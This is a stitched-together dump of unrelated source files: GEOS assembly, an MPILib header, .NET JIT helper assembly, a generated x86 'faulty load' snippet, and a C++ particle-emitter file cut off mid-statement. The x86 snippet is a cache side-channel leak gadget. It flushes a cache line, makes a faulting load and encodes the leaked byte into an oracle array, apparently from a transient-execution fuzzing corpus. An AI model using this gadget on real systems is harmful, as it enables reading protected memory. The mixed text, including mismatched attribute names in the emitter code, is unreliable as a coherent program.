%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerInvalidate method dynamic VisRulerClass, MSG_VIS_INVALIDATE winBounds local RectDWord ; ; invalidate everything ; mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].VI_attrs, mask VA_REALIZED jz quit ;do nothing if not realized .enter call CreateGState segmov ds, ss lea si, ds:winBounds ;ds:si <- ptr to buffer call GrGetWinBoundsDWord call GrInvalRectDWord call DestroyGState .leave quit: ret VisRulerInvalidate endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerSetReference %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_RULER_SET_REFERENCE Context: Called before caller wants to send a MSG_VIS_RULER_SNAP_RELATIVE_TO_REFEREN Source: Destination: a VisRuler with reference functionality (VisRuler will be separated into a purely visual ruler, with a subclass that does constrain/grids/etc. This method is for the latter). Pass: ss:bp = PointDWFixed reference Return: nothing Destroyed: ds, es, si, di, cx Comments: Revision History: Name Date Description ---- ------------ ----------- jon Oct 15, 1991 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerSetReference method dynamic VisRulerClass, MSG_VIS_RULER_SET_REFERENCE add di, offset VRI_reference call SetInstancePointCommon ret VisRulerSetReference endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetInstancePointCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Copies a PointDWFixed from ss:bp to ds:di Context: Source: Destination: Pass: ss:bp - source PointDWFixed ds:di - dest PointDWFixed Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Nov 19, 1991 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetInstancePointCommon proc near uses ds, es, si, cx .enter ; ; Copy the point at ss:[bp] into our instance data ; ; ;total bytes = 14 push ds ;1 push ss ;1 pop ds ;1 pop es ;1 mov si, bp ;2 CheckHack <(size PointDWFixed AND 1) eq 0> mov cx, size PointDWFixed / 2 ;3 rep movsw ;2 .leave ret SetInstancePointCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerSetType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the type of the ruler CALLED BY: MSG_VIS_RULER_SET_TYPE PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisRulerClass ax - the method cl - RulerType RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 7/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerSetType method dynamic VisRulerClass, MSG_VIS_RULER_SET_TYPE cmp cl, ds:[di].VRI_type je done ;branch if no change call ObjMarkDirty mov ds:[di].VRI_type, cl call InvalRuler call RulerCallSlave mov ax, MSG_VIS_RULER_UPDATE_TYPE_CONTROLLER call ObjCallInstanceNoLock done: ret VisRulerSetType endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerSetIgnoreOrigin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the "ignore origin" state CALLED BY: MSG_VIS_RULER_SET_IGNORE_ORIGIN PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisRulerClass ax - the method cx - non-zero to ignore the origin RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 7/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerSetIgnoreOrigin method dynamic VisRulerClass, MSG_VIS_RULER_SET_IGNORE_ORIGIN mov al, ds:[di].VRI_rulerAttrs jcxz clear or al, mask VRA_IGNORE_ORIGIN jmp common clear: and al, not mask VRA_IGNORE_ORIGIN common: cmp al, ds:[di].VRI_rulerAttrs jz done mov ds:[di].VRI_rulerAttrs, al call InvalRuler call RulerCallSlave mov ax, MSG_VIS_RULER_UPDATE_CONTROLLERS call ObjCallInstanceNoLock done: ret VisRulerSetIgnoreOrigin endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerGetType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the type of the ruler CALLED BY: MSG_VIS_RULER_GET_TYPE PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisRulerClass ax - the method RETURN: cl - RulerType DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 7/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerGetType method dynamic VisRulerClass, MSG_VIS_RULER_GET_TYPE mov cl, ds:[di].VRI_type ret VisRulerGetType endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerGetDesiredSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisRuler method for MSG_VIS_RULER_GET_DESIRED_SIZE Returns the position at which to draw the dividing line for the ruler. Subclassing: This method should be subclassed if the subclassed ruler's size needs to vary w/respect to scale factor, whether the ruler is horizontal or vertical, etc., etc., or simply some other constant than DIVIDING_LINE_POS. Context: Called when drawing something inside the ruler that depends on the position of the dividing line. Source: VisRulerDraw, for one. Destination: Any VisRuler object Pass: ds:si = VisRuler object ds:di = *ds:si = VisRuler instance Return: cx = preferred size Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Oct 31, 1991 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerGetDesiredSize method dynamic VisRulerClass, MSG_VIS_RULER_GET_DESIRED_SIZE mov cx, ds:[di].VRI_desiredSize ret VisRulerGetDesiredSize endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerSetMinIncrement %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_VIS_RULER_SET_MIN_INCREMENT PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisRulerClass ax - the method cl - MinIncrementType RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 9/ 9/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerSetMinIncrement method dynamic VisRulerClass, MSG_VIS_RULER_SET_MIN_INCREMENT cmp cl, ds:[di].VRI_minIncrement je done ;branch if no change mov ds:[di].VRI_minIncrement, cl call InvalRuler done: ret VisRulerSetMinIncrement endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerSetScale %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the scale factor for a ruler CALLED BY: MSG_VIS_RULER_SET_SCALE PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisRulerClass ax - the method ss:bp - ScaleChangedParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 7/ 1/91 Initial version jon 10 Oct 1991 Overhaul %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerViewScaleFactorChanged method dynamic VisRulerClass, MSG_VIS_RULER_VIEW_SCALE_FACTOR_CHANGED ; ; Save ScaleChangedParams ptr ; push bp ; ; We're gonna point bp at the WWFixed that we're interested in ; (either PF_x or PF_y). Let's check this ugly hack will ; work. ; CheckHack <offset SCP_scaleFactor eq 0> CheckHack <offset PF_x eq 0> ; ; If we're a horizontal ruler, bp is already pointing at PF_x ; test ds:[di].VRI_rulerAttrs, mask VRA_HORIZONTAL jnz setScale ; ; We want to point bp to PF_y ; add bp, offset PF_y ; ; Store our new scale factor and redraw ; setScale: mov bx, ss:[bp].WWF_int mov ds:[di].VRI_scale.WWF_int, bx mov bx, ss:[bp].WWF_frac mov ds:[di].VRI_scale.WWF_frac, bx pop bp call InvalRuler ret VisRulerViewScaleFactorChanged endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisRulerSetScale %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the scale factor for a ruler CALLED BY: MSG_VIS_RULER_SET_SCALE PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisRulerClass ax - the method dx.cx - scale factor (WWFixed) RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 7/ 1/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisRulerSetScale method dynamic VisRulerClass, MSG_VIS_RULER_SET_SCALE mov ds:[di].VRI_scale.WWF_frac, cx mov ds:[di].VRI_scale.WWF_int, dx call InvalRuler ret VisRulerSetScale endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckScrollAmount %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if scroll amount is small enough for WinScroll() CALLED BY: VisHorizRulerSetOffset(), VisVertRulerSetOffset() PASS: dx:cx - scroll amount (sdword) RETURN: carry - set if large scroll z flag - zet if no scroll DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 9/ 9/91 Initial version jon 10 Oct 1991 optimized %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if 0 CheckScrollAmount proc near tst dx je checkSmallPositive cmp dx, -1 jne bigScroll cmp cx, MIN_COORD jb done ;jb = jc, so no need to jmp ;to bigScroll jmp doScroll checkSmallPositive: cmp cx, MAX_COORD ja bigScroll doScroll: tst cx ;clears carry; sets z flag if 0 done: ret bigScroll: stc ;carry <- too big for WinScroll ret CheckScrollAmount endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetWinOffset %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the current offset of the Window CALLED BY: VisVertRulerSetOffset(), VisHorizRulerSetOffset() PASS: *ds:si - VisRuler object bx - offset of bound: RD_left - get x offset =or= RD_top - get y offset RETURN: bx:ax - x offset of Window (sdword) =or= bx:ax - y offset of Window (sdword) DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 9/18/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if 0 GetWinOffset proc near uses ds, si, di winBounds local RectDWord .enter ; ; Get the window bounds ; call CreateGState segmov ds, ss lea si, ss:winBounds ;ds:si <- ptr to RectDWord call GrGetWinBoundsDWord call DestroyGState ; ; Return the offset requested... ; mov ax, ds:[si][bx].low mov bx, ds:[si][bx].high .leave ret GetWinOffset endp endif RulerBasicCode ends
// Copyright (c) 2005 - 2012 Marc de Kamps // 2012 David-Matthias Sichau // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software // without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY // DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF // USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // #ifndef MPILIB_UTILITIES_CIRCULARDISTRIBUTION_HPP_ #define MPILIB_UTILITIES_CIRCULARDISTRIBUTION_HPP_ #include <MPILib/include/utilities/NodeDistributionInterface.hpp> #include <memory> namespace MPILib { namespace utilities { class CircularDistribution: public NodeDistributionInterface { public: CircularDistribution(); virtual ~CircularDistribution() throw(); /** * check is a node is local to the processor * @param nodeId The Id of the Node * @return true if the Node is local */ virtual bool isLocalNode(NodeId nodeId) const; /** get the processor number which is responsible for the node * @param nodeId The Id of the Node * @return the processor responsible */ virtual int getResponsibleProcessor(NodeId nodeId) const; /** * If the processor is master (We assume the processor with _processorId=0 is the master) * @return true if the node is the master. */ virtual bool isMaster() const; private: }; } /* namespace MPILib */ } /* namespace utilities */ #endif /* MPILIB_UTILITIES_CIRCULARDISTRIBUTION_HPP_ */
COMMENT @----------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: NewUI/Win (specific code for NewUI) FILE: winClassSpec.asm ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 Split off from cwinClass.asm Eric 1/90 Contents of file moved to cwinClassCUAS.asm so can be shared by all CUA_STYLE UIs. DESCRIPTION: This file contains OLWinClass-related code which is specific to NewUI. See cwinClass.asm for class declaration and method table. $Id: winClassSpec.asm,v 1.1 98/03/09 18:42:25 joon Exp $ -------------------------------------------------------------------------------@ Build segment resource Build ends ;------------------------------ CommonFunctional segment resource CommonFunctional ends
; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ; See the LICENSE file in the project root for more information. ; ==++== ; ; ; ==--== ; *********************************************************************** ; File: JitHelpers_InlineGetAppDomain.asm, see history in jithelp.asm ; ; Notes: These routinues will be patched at runtime with the location in ; the TLS to find the AppDomain* and are the fastest implementation ; of their specific functionality. ; *********************************************************************** include AsmMacros.inc include asmconstants.inc ; Min amount of stack space that a nested function should allocate. MIN_SIZE equ 28h ; Macro to create a patchable inline GetAppdomain, if we decide to create patchable ; high TLS inline versions then just change this macro to make sure to create enough ; space in the asm to patch the high TLS getter instructions. PATCHABLE_INLINE_GETAPPDOMAIN macro Reg, PatchLabel PATCH_LABEL PatchLabel mov Reg, gs:[OFFSET__TEB__TlsSlots] endm extern JIT_GetSharedNonGCStaticBase_Helper:proc extern JIT_GetSharedGCStaticBase_Helper:proc LEAF_ENTRY JIT_GetSharedNonGCStaticBase_InlineGetAppDomain, _TEXT ; Check if rcx (moduleDomainID) is not a moduleID mov rax, rcx test rax, 1 jz HaveLocalModule PATCHABLE_INLINE_GETAPPDOMAIN rax, JIT_GetSharedNonGCStaticBase__PatchTLSLabel ; Get the LocalModule, rcx will always be odd, so: rcx * 4 - 4 <=> (rcx >> 1) * 8 mov rax, [rax + OFFSETOF__AppDomain__m_sDomainLocalBlock + OFFSETOF__DomainLocalBlock__m_pModuleSlots] mov rax, [rax + rcx * 4 - 4] HaveLocalModule: ; If class is not initialized, bail to C++ helper test byte ptr [rax + OFFSETOF__DomainLocalModule__m_pDataBlob + rdx], 1 jz CallHelper REPRET align 16 CallHelper: ; Tail call JIT_GetSharedNonGCStaticBase_Helper mov rcx, rax jmp JIT_GetSharedNonGCStaticBase_Helper LEAF_END JIT_GetSharedNonGCStaticBase_InlineGetAppDomain, _TEXT LEAF_ENTRY JIT_GetSharedNonGCStaticBaseNoCtor_InlineGetAppDomain, _TEXT ; Check if rcx (moduleDomainID) is not a moduleID mov rax, rcx test rax, 1 jz HaveLocalModule PATCHABLE_INLINE_GETAPPDOMAIN rax, JIT_GetSharedNonGCStaticBaseNoCtor__PatchTLSLabel ; Get the LocalModule, rcx will always be odd, so: rcx * 4 - 4 <=> (rcx >> 1) * 8 mov rax, [rax + OFFSETOF__AppDomain__m_sDomainLocalBlock + OFFSETOF__DomainLocalBlock__m_pModuleSlots] mov rax, [rax + rcx * 4 - 4] ret align 16 HaveLocalModule: REPRET LEAF_END JIT_GetSharedNonGCStaticBaseNoCtor_InlineGetAppDomain, _TEXT LEAF_ENTRY JIT_GetSharedGCStaticBase_InlineGetAppDomain, _TEXT ; Check if rcx (moduleDomainID) is not a moduleID mov rax, rcx test rax, 1 jz HaveLocalModule PATCHABLE_INLINE_GETAPPDOMAIN rax, JIT_GetSharedGCStaticBase__PatchTLSLabel ; Get the LocalModule, rcx will always be odd, so: rcx * 4 - 4 <=> (rcx >> 1) * 8 mov rax, [rax + OFFSETOF__AppDomain__m_sDomainLocalBlock + OFFSETOF__DomainLocalBlock__m_pModuleSlots] mov rax, [rax + rcx * 4 - 4] HaveLocalModule: ; If class is not initialized, bail to C++ helper test byte ptr [rax + OFFSETOF__DomainLocalModule__m_pDataBlob + rdx], 1 jz CallHelper mov rax, [rax + OFFSETOF__DomainLocalModule__m_pGCStatics] ret align 16 CallHelper: ; Tail call Jit_GetSharedGCStaticBase_Helper mov rcx, rax jmp JIT_GetSharedGCStaticBase_Helper LEAF_END JIT_GetSharedGCStaticBase_InlineGetAppDomain, _TEXT LEAF_ENTRY JIT_GetSharedGCStaticBaseNoCtor_InlineGetAppDomain, _TEXT ; Check if rcx (moduleDomainID) is not a moduleID mov rax, rcx test rax, 1 jz HaveLocalModule PATCHABLE_INLINE_GETAPPDOMAIN rax, JIT_GetSharedGCStaticBaseNoCtor__PatchTLSLabel ; Get the LocalModule, rcx will always be odd, so: rcx * 4 - 4 <=> (rcx >> 1) * 8 mov rax, [rax + OFFSETOF__AppDomain__m_sDomainLocalBlock + OFFSETOF__DomainLocalBlock__m_pModuleSlots] mov rax, [rax + rcx * 4 - 4] HaveLocalModule: mov rax, [rax + OFFSETOF__DomainLocalModule__m_pGCStatics] ret LEAF_END JIT_GetSharedGCStaticBaseNoCtor_InlineGetAppDomain, _TEXT end
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %r9 push %rdi push %rdx // Store lea addresses_PSE+0x5fba, %r9 nop sub %rdx, %rdx movl $0x51525354, (%r9) nop add $11924, %r15 // Store mov $0x7ba, %r8 nop nop xor $43049, %r10 mov $0x5152535455565758, %rdi movq %rdi, %xmm3 movups %xmm3, (%r8) nop nop xor %r10, %r10 // Faulty Load lea addresses_PSE+0x5fba, %r8 clflush (%r8) nop nop nop nop nop inc %r15 vmovups (%r8), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r9 lea oracles, %rdi and $0xff, %r9 shlq $12, %r9 mov (%rdi,%r9,1), %r9 pop %rdx pop %rdi pop %r9 pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'54': 38} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
/* Copyright (c) 2018 Inverse Palindrome GenerativeArt - Emitter.cpp InversePalindrome.com */ #include "Emitter.hpp" #include <cinder/app/App.h> Emitter::Emitter(EmitterType emitterType) : emitterType(emitterType), textureIndex(0), textureIndexVariance(0), emissionRate(5.f), totalLifeTime(10.f), lifeTimeVariance(0.f), position(cinder::app::getWindowWidth() / 2.f, cinder::app::getWindowHeight() / 2.f), positionVariance(cinder::app::getWindowWidth() / 2.f, cinder::app::getWindowHeight() / 2.f), scale(1.f, 1.f), scaleVariance(0.f, 0.f), angle(0.f), angleVariance(0.f), linearVelocity(0.f, 0.f), linearVelocityVariance(0.f, 0.f), angularVelocity(0.f), angularVelocityVariance(0.f), startColor(cinder::ColorA::white()), startColorVariance(cinder::ColorA::black()), endColor(cinder::ColorA::white()), endColorVariance(cinder::ColorA::black()) { } void Emitter::load(const pugi::xml_node& emitterNode) { if (const auto textureIndexAttribute = emitterNode.attribute("textureIndex")) { setTextureIndex(textureIndexAttribute.as_int()); } if (const auto textureIndexVarianceAttribute = emitterNode.attribute("textureIndexVariance")) { setTextureIndexVariance(textureIndexVarianceAttribute.as_int()); } if (const auto emissionRateAttribute = emitterNode.attribute("emissionRate")) { setEmissionRate(emissionRateAttribute.as_float()); } if (const auto totalLifeTimeAttribute = emitterNode.attribute("totalLifeTime")) { setTotalLifeTime(totalLifeTimeAttribute.as_float()); } if (const auto lifeTimeVarianceAttribute = emitterNode.attribute("lifeTimeVariance")) { setLifeTimeVariance(lifeTimeVarianceAttribute.as_float()); } const auto xPositionAttribute = emitterNode.attribute("xPosition"); const auto yPositionAttribute = emitterNode.attribute("yPosition"); if (xPositionAttribute && yPositionAttribute) { setPosition({ xPositionAttribute.as_float(), yPositionAttribute.as_float() }); } const auto xPositionVarianceAttribute = emitterNode.attribute("xPositionVariance"); const auto yPositionVarianceAttribute = emitterNode.attribute("yPositionVariance"); if (xPositionVarianceAttribute && yPositionVarianceAttribute) { setPositionVariance({ xPositionVarianceAttribute.as_float(), yPositionVarianceAttribute.as_float() }); } const auto widthScaleAttribute = emitterNode.attribute("widthScale"); const auto heightScaleAttribute = emitterNode.attribute("heightScale"); if (widthScaleAttribute && heightScaleAttribute) { setScale({ widthScaleAttribute.as_float(), heightScaleAttribute.as_float() }); } const auto widthScaleVarianceAttribute = emitterNode.attribute("widthScaleVariance"); const auto heightScaleVarianceAttribute = emitterNode.attribute("heightScaleVariance"); if (widthScaleVarianceAttribute && heightScaleVarianceAttribute) { setScaleVariance({ widthScaleVarianceAttribute.as_float(), heightScaleVarianceAttribute.as_float() }); } if (const auto angleAttribute = emitterNode.attribute("angle")) { setAngle(angleAttribute.as_float()); } if (const auto angleVarianceAttribute = emitterNode.attribute("angleVariance")) { setAngleVariance(angleVarianceAttribute.as_float()); } const auto xLinearVelocityAttribute = emitterNode.attribute("xlinearVelocity"); const auto yLinearVelocityAttribute = emitterNode.attribute("yLinearVelocity"); if (xLinearVelocityAttribute && yLinearVelocityAttribute) { setLinearVelocity({ xLinearVelocityAttribute.as_float(), yLinearVelocityAttribute.as_float() }); } const auto xLinearVelocityVarianceAttribute = emitterNode.attribute("xLinearVelocityVariance"); const auto yLinearVelocityVarianceAttribute = emitterNode.attribute("yLinearVelocityVariance"); if (xLinearVelocityVarianceAttribute && yLinearVelocityVarianceAttribute) { setLinearVelocityVariance({ xLinearVelocityVarianceAttribute.as_float(), yLinearVelocityAttribute.as_float() }); } if (const auto angularVelocityAttribute = emitterNode.attribute("angularVelocity")) { setAngularVelocity(angularVelocityAttribute.as_float()); } if (const auto angularVelocityVarianceAttribute = emitterNode.attribute("angularVelocityVariance")) { setAngularVelocityVariance(angularVelocityVarianceAttribute.as_float()); } const auto startRColorAttribute = emitterNode.attribute("startRColor"); const auto startGColorAttribute = emitterNode.attribute("startGColor"); const auto startBColorAttribute = emitterNode.attribute("startBColor"); if (startRColorAttribute && startGColorAttribute && startBColorAttribute) { setStartColor({ startRColorAttribute.as_float(), startGColorAttribute.as_float(), startBColorAttribute.as_float() }); } const auto startRColorVarianceAttribute = emitterNode.attribute("startRColorVariance"); const auto startGColorVarianceAttribute = emitterNode.attribute("startGColorVariance"); const auto startBColorVarianceAttribute = emitterNode.attribute("startBColorVariance"); if (startRColorVarianceAttribute && startGColorVarianceAttribute && startBColorVarianceAttribute) { setStartColorVariance({ startRColorVarianceAttribute.as_float(), startGColorVarianceAttribute.as_float(), startBColorVarianceAttribute.as_float() }); } const auto endRColorAttribute = emitterNode.attribute("endRColor"); const auto endGColorAttribute = emitterNode.attribute("endGColor"); const auto endBColorAttribute = emitterNode.attribute("endBColor"); if (endRColorAttribute && endGColorAttribute && endBColorAttribute) { setEndColor({ endRColorAttribute.as_float(), endGColorAttribute.as_float(), endBColorAttribute.as_float() }); } const auto endRColorVarianceAttribute = emitterNode.attribute("endRColorVariance"); const auto endGColorVarianceAttribute = emitterNode.attribute("endGColorVariance"); const auto endBColorVarianceAttribute = emitterNode.attribute("endBColorVariance"); if (endRColorVarianceAttribute && endGColorVarianceAttribute && endBColorVarianceAttribute) { setEndColorVariance({ endRColorVarianceAttribute.as_float(), endGColorVarianceAttribute.as_float(), endBColorVarianceAttribute.as_float() }); } } void Emitter::save(pugi::xml_node& emitterNode) const { emitterNode.append_attribute("type") = emitterType._to_string(); emitterNode.append_attribute("emissionRate") = emissionRate; emitterNode.append_attribute("textureIndex") = textureIndex; emitterNode.append_attribute("textureIndexVariance") = textureIndexVariance; emitterNode.append_attribute("totalLifeTime") = totalLifeTime;; emitterNode.append_attribute("xPosition") = position.x; emitterNode.append_attribute("yPosition") = position.y; emitterNode.append_attribute("xPositionVariance") = positionVariance.x; emitterNode.append_attribute("yPositionVariance") = positionVariance.y; emitterNode.append_attribute("widthScale") = scale.x; emitterNode.append_attribute("heightScale") = scale.y; emitterNode.append_attribute("widthScaleVariance") = scaleVariance.x; emitterNode.append_attribute("heightScaleVariance") = scaleVariance.y; emitterNode.append_attribute("angle") = angle; emitterNode.append_attribute("angleVariance") = angleVariance; emitterNode.append_attribute("xLinearVelocity") = linearVelocity.x; emitterNode.append_attribute("yLinearVelocity") = linearVelocity.y; emitterNode.append_attribute("xLinearVelocityVariance") = linearVelocityVariance.x; emitterNode.append_attribute("yLinearVelocityVariance") = linearVelocityVariance.y; emitterNode.append_attribute("angularVelocity") = angularVelocity; emitterNode.append_attribute("angularVelocityVariance") = angularVelocityVariance; emitterNode.append_attribute("startRColor") = startColor.r; emitterNode.append_attribute("startGColor") = startColor.g; emitterNode.append_attribute("startBColor") = startColor.b; emitterNode.append_attribute("startRColorVariance") = startColorVariance.r; emitterNode.append_attribute("startGColorVariance") = startColorVariance.g; emitterNode.append_attribute("startBColorVariance") = 